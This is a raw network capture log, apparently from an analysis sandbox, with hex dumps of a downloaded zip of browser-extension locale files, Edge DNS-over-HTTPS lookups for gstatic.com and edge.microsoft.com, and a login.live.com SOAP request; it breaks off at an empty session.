2024-11-19 17:00:40 UTC	1390	IN	Data Raw: a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 Data Ascii: g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f Data Ascii: Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 Data Ascii: [C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 Data Ascii: wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messa
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49764	162.159.61.3	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 17:00:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 17:00:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 17:00:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e51c2084e8543ab-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 17:00:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0f 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49765	162.159.61.3	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 17:00:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 17:00:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 17:00:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e51c208485643b6-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 17:00:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f5 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49766	172.64.41.3	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 17:00:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 17:00:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 17:00:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e51c208ab0f6a55-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 17:00:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49763	20.190.160.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 17:00:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 17:00:42 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 16:59:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 9c0a8265-9dfc-490e-aa3c-93998446b2c2 PPServer: PPV: 30 H: SN1PEPF0002F9D6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 17:00:41 GMT Connection: close Content-Length: 11389
2024-11-19 17:00:42 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49769	162.159.61.3	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 17:00:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2024-11-19 17:00:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 17:00:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e51c20d6fa74258-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 17:00:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0e 0c 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 38 00 02 c0 43 c0 43 00 01 00 01 00 00 00 38 00 04 0d 6b 15 ef c0 43 00 01 00 01 00 00 00 38 00 04 cc 4f c5 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet08CC8kC8O)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49768	162.159.61.3	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 17:00:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA)QM
2024-11-19 17:00:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 17:00:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e51c20d8a53729f-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 17:00:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d b7 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 4f 00 06 00 01 00 00 00 97 00 23 03 6e 73 31 c0 4f 06 6d 73 6e 68 73 74 c0 11 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 3d 00 0c 01 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA-edge-microsoft-comdual-a-0036a-msedgenetO#ns1Omsnhstx+"$)=9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49772	20.190.160.17	443

Timestamp	Bytes transferred	Direction	Data
